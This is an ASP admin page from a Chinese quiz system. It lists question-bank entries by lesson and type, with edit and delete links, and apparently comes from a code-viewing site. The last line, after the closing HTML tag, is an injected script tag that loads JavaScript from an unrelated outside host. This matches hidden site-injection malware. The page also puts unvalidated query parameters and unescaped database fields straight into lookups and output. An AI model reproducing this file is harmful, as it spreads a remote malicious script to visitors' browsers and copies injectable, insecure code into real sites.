📄 questionlist.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/ELesson.asp"-->
<!--#include file="../class/EType.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>题库管理</title>
<link rel="stylesheet" href="../style.css">
<script language="javascript">
function SelChange(a){
var s;
var v;
var url;
if(a==0){
s = document.form1.lid.value;
url = "QuestionList.asp?tid=0&lid=" + s;
}
else{
v = document.form1.lid.value;
s = document.form1.tid.value;
url = "QuestionList.asp?tid=" + s + "&lid=" + v;
}
form1.action = url
form1.submit();
return(false);
}
function newView(url) {
var oth="toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,left=200,top=200";
oth = oth+",width=600,height=450";
var newView=window.open(url,"newView",oth);
newView.focus();
return false;
}
</script>
</head>
<body link="#000080" vlink="#080080">
<form id="form1" name="form1" method="POST">
<%Set eq = New EQuestion
Set ls = New ELesson
Set tp = New EType
Dim Operid,n,lid,tid
lid = 0
tid = 0
tid = Request.QueryString("tid")
lid = Request.QueryString("lid")
%>
<p align='center'><font style="FONT-SIZE: 12pt"><b>题库管理</b></font></p>
<table border="0" cellspacing="0" width="100%">
<tr>
<td width="50%"><strong>课程名称</strong>
<select name=lid onchange="SelChange(0)">
<option value=0>--请选择课程名称--</option>
<%ls.GetLessonList()
DO While Not ls.rs.EOF
If ls.rs("LId")=CInt(lid) Then%>
<option selected value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%Else%>
<option value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%End If
ls.rs.MoveNext
Loop
%></select>
</td>
<td width="50%"><strong>试题类型</strong>
<select name=tid onchange="SelChange(1)">
<option value=0>--请选择类型名称--</option>
<%tp.GetTypeList()
DO While Not tp.rs.EOF
If tp.rs("TId")=CInt(tid) Then%>
<option selected value=<%=tp.rs("TId")%>><%=tp.rs("TName")%></option>
<%Else%>
<option value=<%=tp.rs("TId")%>><%=tp.rs("TName")%></option>
<%End If
tp.rs.MoveNext
Loop
%></select>
</td>
</tr>
</table><br>
<center>
<table border="1" cellspacing="0" width="100%" bordercolorlight="#4DA6FF" bordercolordark="#ECF5FF">
<tr>
<td width="8%" align="center" bgcolor="#eeeeee"><strong>试题编号</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>试题题目</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>A选项</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>B选项</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>C选项</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>D选项</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>试题答案</strong></td>
<td width="12%" align="center" bgcolor="#eeeeee"><strong>操作</strong></td>
</tr>
<%
'读取所有的题库数据到记录集rs中
eq.GetQuestionList tid,lid
If eq.rs.EOF Then
'如果记录集为空,则显示“目前还没有记录”
Response.Write "<tr><td colspan=8 align=center><font style='COLOR:Red'>目前还没有记录。</font></td></tr></table>"
Else
'在表格中显示题库名称
DO WHILE Not eq.rs.EOF
%>
<tr>
<td align="center"><%=eq.rs("QId")%></td>
<td><%=eq.rs("QTitle")%></td>
<td><%=eq.rs("A")%></td>
<td><%=eq.rs("B")%></td>
<td><%=eq.rs("C")%></td>
<td><%=eq.rs("D")%></td>
<td><%=eq.rs("QAnswer")%></td>
<td align="center"><a href="QuestionEdit.asp?action=update&qid=<%=eq.rs("QId")%>" OnClick="return newView(this.href)">修改</a>
<a href="QuestionDel.asp?qid=<%=eq.rs("QId")%>" OnClick="return newView(this.href)">删除</a></td>
</tr>
<%
eq.rs.MoveNext()
LOOP
End If
%>
</table>
<p align=center><input type="button" value="添加试题信息" onclick="newView('QuestionEdit.asp?action=add')" name=add></p>
</form>
<%eq.rs.Close
ls.rs.Close%>
</BODY>
</HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -